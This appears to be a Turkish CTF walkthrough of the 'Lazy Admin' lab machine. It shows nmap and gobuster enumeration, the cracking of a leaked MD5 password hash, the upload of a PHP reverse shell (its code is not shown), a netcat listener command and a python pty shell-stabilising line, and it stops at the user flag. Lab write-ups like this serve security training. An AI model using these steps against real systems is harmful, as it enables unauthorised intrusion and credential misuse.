Lazy Admin
Öncelikle nmap taraması başlatalım.
1
2
┌──(root㉿r3tr0)-[~]
└─# nmap -T5 -v -sV 10.10.120.127
nmap çıktısı:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-12 13:52 EST
NSE: Loaded 46 scripts for scanning.
Initiating Ping Scan at 13:52
Scanning 10.10.120.127 [4 ports]
Completed Ping Scan at 13:52, 0.16s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:52
Completed Parallel DNS resolution of 1 host. at 13:52, 0.00s elapsed
Initiating SYN Stealth Scan at 13:52
Scanning 10.10.120.127 (10.10.120.127) [1000 ports]
Discovered open port 22/tcp on 10.10.120.127
Discovered open port 80/tcp on 10.10.120.127
Completed SYN Stealth Scan at 13:52, 1.66s elapsed (1000 total ports)
Initiating Service scan at 13:52
Scanning 2 services on 10.10.120.127 (10.10.120.127)
Completed Service scan at 13:52, 6.29s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.120.127.
Initiating NSE at 13:52
Completed NSE at 13:52, 0.41s elapsed
Initiating NSE at 13:52
Completed NSE at 13:52, 0.37s elapsed
Nmap scan report for 10.10.120.127 (10.10.120.127)
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.16 seconds
Raw packets sent: 1108 (48.728KB) | Rcvd: 1105 (44.208KB)
22 ssh ve 80 http servisi açık. Websitesine göz atalım.
Sıradan bir ubuntu default sayfası.
Gobuster çalıştırarak gizli dizinleri arayalım.
1
2
┌──(root㉿r3tr0)-[~]
└─# gobuster dir -u http://10.10.120.127 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html
gobuster çıktısı:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.120.127
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 278]
/index.html (Status: 200) [Size: 11321]
/.html (Status: 403) [Size: 278]
/content (Status: 301) [Size: 316] [--> http://10.10.120.127/content/]
Progress: 10236 / 882244 (1.16%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 10276 / 882244 (1.16%)
===============================================================
Finished
===============================================================
Bulduğumuz content dizinin içinde de gobuster çalıştırıyorum.
1
2
┌──(root㉿r3tr0)-[~]
└─# gobuster dir -u http://10.10.120.127/content -w /usr/share/wordlists/dirb/common.txt
gobuster çıktısı:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.120.127/content
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/_themes (Status: 301) [Size: 324] [--> http://10.10.120.127/content/_themes/]
/as (Status: 301) [Size: 319] [--> http://10.10.120.127/content/as/]
/attachment (Status: 301) [Size: 327] [--> http://10.10.120.127/content/attachment/]
/images (Status: 301) [Size: 323] [--> http://10.10.120.127/content/images/]
/inc (Status: 301) [Size: 320] [--> http://10.10.120.127/content/inc/]
/index.php (Status: 200) [Size: 2199]
/js (Status: 301) [Size: 319] [--> http://10.10.120.127/content/js/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
İncelenecek çok daha fazla dizin bulduk. Her dizini tek tek gezdim ve sadece 2 tanesini ilginç buldum.
Bunlardan ilki giriş formu olan ‘/as’:
Şimdilik giriş bilgilerine sahip değiliz. Diğer dizine geçelim.
‘/inc’:
Çok fazla dosya var. Biraz inceleme yaptığımda kayda değer bir bilgi buluyorum.
Kullanıcı adının manager olduğunu görüyoruz. Şifreyi hash olarak görünüyor kırmamız gerekecek.
- manager
- 42f749ade7f9e195bf475f37a44cafcb
Bu bir md5 hash’i md5hashing websitesine gidip hash’i kırıyorum.
- 42f749ade7f9e195bf475f37a44cafcb:Password123
Kullanıcı adı ve şifreyi bildiğimize göre bulduğumuz diğer bir dizin olan “/as” dizinine giderek giriş yapalım.
Php reverse shell kodu ekliyorum.
content/inc/ads klasörüne gittiğimde shellimi görebiliyorum.
Başlatmadan önce netcat çalıştıralım.
- nc -nvlp 1234
Makineye giriş yapmayı başardık.
- python3 -c ‘import pty; pty.spawn(“/bin/bash”)’ ile shellimizi stabil hale getirelim.
user bayrağını /home/itguy içinde buluyorum.